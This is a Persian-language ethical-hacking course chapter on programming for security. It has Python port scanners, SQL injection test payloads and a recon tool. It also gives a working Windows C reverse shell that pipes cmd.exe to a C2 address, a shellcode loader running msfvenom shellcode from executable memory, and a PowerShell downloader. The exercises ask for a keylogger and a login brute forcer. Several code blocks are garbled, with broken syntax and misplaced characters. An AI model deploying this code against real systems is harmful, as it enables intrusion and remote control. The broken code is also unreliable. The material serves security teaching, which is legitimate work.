دوره جامع هک قانونمند و مهندسی امنیت سایبری

Advanced Cybersecurity & Ethical Hacking

Complete Career Training Program

راهنمای کامل و گام‌به‌گام برای تبدیل شدن به یک مهندس امنیت حرفه‌ای

از صفر مطلق تا متخصص امنیت سایبری

این دوره توسط تیم امنیت صفر و یک سایبر طراحی شده است

هشدار قانونی: این سند صرفاً برای آموزش امنیت سایبری قانونمند تهیه شده است

هرگونه استفاده غیرقانونی از مطالب بر عهده کاربر می‌باشد

این دوره مسیر شغلی شما را از یک فرد مبتدی تا یک مهندس امنیت حرفه‌ای طراحی کرده است

فصل ۴

برنامه‌نویسی برای امنیت سایبری

یک مهندس امنیت حرفه‌ای باید حداقل به یک زبان برنامه‌نویسی تسلط کامل داشته باشد. پایتون زبان شماره یک در امنیت است

پایتون برای هکرها (پیشرفته)

پایتون سریع‌ترین راه برای نوشتن ابزارهای امنیتی است:

Socket Programming - Port Scanner

```
import socket, sys
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    result = s.connect_ex((host, port))
    s.close()
    return port if result == 0 else None

def scan_ports(host, ports):
    print(f"[*] Scanning {host}...")
    with ThreadPoolExecutor(max_workers=50) as executor:
        futures = [executor.submit(scan_port, host, p) for p in ports]
        for f in futures:
            if (port := f.result()):
                print(f"  [+] Port {port} is OPEN")
```

```
if __name__ == "__main:"__
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    ports = range(۱, ۱۰۲۵)
    scan_ports(host, ports)
```

HTTP Request Manipulation

```
import requests
```

تنظیم proxy (Burp Suite)

```
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
```

Session با کوکی

```
s = requests.Session()
s.cookies.update({"PHPSESSID": "abc123"})
s.headers.update({"User-Agent": "Mozilla/5.0 Hacker"})
```

Login

```
login_data = {"username": "admin", "password": "admin123"}
r = s.post("http://target.com/login", data=login_data, proxies=proxies)
```

درخواست بعد از login

```
r = s.get("http://target.com/admin", proxies=proxies)
```

SQL Injection Detection

```
def test_sqli(url, param):
    payloads = ["'", "' OR '1'='1", "'--", "' SLEEP(5)--"]
    for p in payloads:
        r = requests.get(f"{url}?{param}={p}", timeout=5)
        if "sql" in r.text.lower() or "error" in r.text.lower:()
            print(f"[!] Possible SQLi: {url}?{param}={p}")
```

Web Scraper برای جمع‌آوری اطلاعات

```
from bs4 import BeautifulSoup
import requests

def extract_links(url):
    try:
        r = requests.get(url, timeout=5)
        soup = BeautifulSoup(r.text, 'html.parser')
        links[] =
        for a in soup.find_all('a', href=True):
            href = a['href']
            if href.startswith('http'):
                links.append(href)
```

```
            elif href.startswith:('/')
                links.append(url + href)
        return links
    except Exception as e:
        print(f"Error: {e}")
        return[]

url = "http://target.com"
all_links = extract_links(url)
for link in all_links:
    print(f"  [+] Found: {link}")
```

ابزار خط فرمان با پایتون :

```
#!/usr/bin/env python3
```

ابزار جمع آوری اطلاعات

```
import socket, sys, requests, json

from concurrent.futures import ThreadPoolExecutor

BANNER = '''
╔═══════════════════════════════════════╗
║              AutoRecon v1.0           ║
║          ابزار خودکار شناسایی         ║
╚═══════════════════════════════════════╝
'''

def recon(target):
    print(f"\n[*] Starting recon on {target}")

    # 1. DNS Lookup
    try:
        ip = socket.gethostbyname(target)
        print(f"  [DNS] IP: {ip}")
    except: pass
```

2. Port Scan (Fast)

```
open_ports = []
common_ports = [21,22,25,53,80,110,143,443,445,993,995,1433,1521,2049,3306,3389,5432,5900,6379,8080,8443]

with ThreadPoolExecutor(max_workers=20) as ex:
    futures = []
    for port in common_ports:
        f = ex.submit(lambda p: socket.socket().connect_ex((ip, p)) == 0 and p, port)
        futures.append((port, f))
    for port, f in [(p,f) for p,f in futures if f.result()]:
        print(f"  [+] Port {port} OPEN")
        open_ports.append(port)
```

3. HTTP Detection

```
if 80 in open_ports:
    try:
        r = requests.get(f"http://{target}", timeout=3)
        print(f"  [HTTP] Server: {r.headers.get('Server','?')}")
        print(f"  [HTTP] Title: {r.text.split('<title>')[1].split('</title>')[0] if '<title>' in r.text else '?'}")
    except: pass
```

```
    if 443 in open_ports or 8443 in open_ports:
        try:
            r = requests.get(f"https://{target}", timeout=3, verify=False)
            print(f"  [HTTPS] Server: {r.headers.get('Server','?')}")
        except: pass

    return {"ip": ip, "ports": open_ports}

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else input("Target: ")
    results = recon(target)
    with open("recon_output.json", "w") as f:
        json.dump(results, f)
    print(f"\n[*] Results saved to recon_output.json")
```

زبان C برای ساخت اکسپلویت :

زبان **C** برای ساخت **shellcode** و اکسپلویت‌های سطح پایین ضروری است:

Reverse Shell در C

```
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

int main() {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    // مقداردهی Winsock
    WSAStartup(MAKEWORD(2,2), &wsa);

  // ساخت سوکت
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // اتصال به C2
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("192.168.1.10");

    WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL);

  // ریدایرکت cmd.exe به سوکت
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
```

```
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    return 0;
}
```

```
// ===== Shellcode Executor (در
#include <windows.h>

int main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00"
        "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2"
        "\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7"
        "\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c"
        "\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88"
        "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
        "\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0";

  // اجرا در حافظه
    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();

    return 0;
}
```

PowerShell برای ابزارسازی

شبکه با ابزار

```
function Invoke-PortScan {
    param([string]$Hosts, [int]$StartPort=1, [int]$EndPort=1024, [int]$Throttle=100)

    $Hosts.Split(',') | ForEach-Object {
        $currentHost = $_
        $StartPort..$EndPort | ForEach-Object -Parallel {
            $socket = New-Object System.Net.Sockets.TcpClient
            $async = $socket.BeginConnect($using:currentHost, $_, $null, $null)
            $wait = $async.AsyncWaitHandle.WaitOne(100, $false)
            if ($wait -and $socket.Connected) {
                [PSCustomObject]@{Host=$using:currentHost; Port=$_; Status="OPEN"}
                $socket.Close()
            }
        } -ThrottleLimit $Throttle
    }
}

Invoke-PortScan -Hosts "192.168.1.1,192.168.1.100" -StartPort 1 -EndPort 1000
```

ابزار بدون

```
function Bypass-Download {
    param($Url, $Path)
    $wc = New-Object System.Net.WebClient
    $wc.Headers.Add("User-Agent", "Mozilla/5.0")
    $wc.DownloadFile($Url, $Path)
}
```

وب‌اسکرپینگ و API برای هکرها

```
# ===== Shodan API =====
import shodan
import sys

api_key = "YOUR_SHODAN_API_KEY"
api = shodan.Shodan(api_key)

def search_devices(query):
    try:
        results = api.search(query)
        print(f"[*] Total results: {results['total']}")
        for r in results['matches'][:10]:
            ip = r['ip_str']
            port = r['port']
            org = r.get('org', '?')
            print(f"  [+] {ip}:{port} - {org}")
            print(f"      Data: {r['data'][:100]}...")
            print()
    except Exception as e:
        print(f"Error: {e}")

search_devices("port:22 country:US")
```

تمرینات جامع فصل ۴

- ۱. پورت اسکنر پایتون را بنویسید و روی Metasploitable اجرا کنید
- ۲. یک HTTP request manipulator با Session و Proxy بنویسید
- ۳. ابزار AutoRecon (که در درس نوشته شد) را کامل کنید و اجرا کنید
- ۴. یک اسکریپت پایتون بنویسید که از Shodan API استفاده کند
- ۵. Reverse Shell در C را کامپایل کنید و تست کنید (در VM)
- ۶. Shellcode Executor در C را بنویسید و یک payload اجرا کنید
- ۷. ابزار PowerShell Port Scanner را کامل کنید
- ۸. یک اسکریپت پایتون برای Brute Force لاگین بنویسید
- ۹. یک ابزار DNS Enumeration با پایتون بنویسید
- ۱۰. یک Keylogger ساده با پایتون بنویسید (فقط برای آموزش)